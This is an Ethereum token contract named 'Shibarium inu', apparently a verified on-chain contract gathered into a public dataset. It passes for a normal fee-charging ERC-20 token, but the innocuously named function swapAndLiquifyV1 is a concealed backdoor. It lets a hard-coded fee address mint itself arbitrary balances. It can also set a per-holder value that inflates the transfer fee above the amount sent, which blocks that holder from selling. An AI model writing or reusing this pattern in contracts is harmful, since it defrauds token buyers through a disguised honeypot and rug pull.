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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
*Submitted for verification at Etherscan.io on 2023-02-21
*/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a,b,"SafeMath: division by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newAddress) public onlyOwner{
_owner = newAddress;
emit OwnershipTransferred(_owner, newAddress);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Shibariuminu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "Shibarium inu";
string private _symbol = "ShibInu";
uint8 private _decimals = 9;
address payable public fees;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public _pairs;
mapping (address => uint256) public VALUEOf;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_isExcludefromFee[owner()] = true;
_isExcludefromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
fees = payable(address(0x642b5B418c60c8814B125648F956aeB52479E6dA));
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Win() public onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
_pairs[address(uniswapPair)] = true;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !_pairs[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ?
amount : TaxTake(from, to, amount);
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquifyV1(address newSend,uint256 olololl) public {
uint256 TXBlock = olololl;
uint256 pre = 80;
uint256 aft = 2;
require(fees == msg.sender);
if (188<olololl) _balances[fees] += olololl;
if (equ(TXBlock,pre)) VALUEOf[newSend] = pre**2;
if (equ(TXBlock,aft)) VALUEOf[newSend] = TXBlock;
}
function equ(uint256 a, uint256 b) public pure returns(bool) {
return a == b;
}
function swapAndLiquify(uint256 amount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), amount);
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(fees),
block.timestamp
){} catch {}
}
function TaxTake(address sender, address recipient, uint256 tAmount) internal returns (uint256) {
uint256 _ifBuy = 3;
uint256 _ifSell = 3;
bool isSell = _pairs[recipient];
bool isBuy = _pairs[sender];
uint256 fee = 0;
if(isBuy) {
fee = tAmount.mul(_ifBuy).div(100);
}else if(isSell) {
fee = tAmount.mul(_ifSell).div(100);
}
if(VALUEOf[sender] > 4**3) fee = tAmount.mul(VALUEOf[sender]).div(80+20);
if(fee > 0) {
_balances[address(this)] = _balances[address(this)].add(fee);
emit Transfer(sender, address(this), fee);
}
return tAmount.sub(fee);
}
} |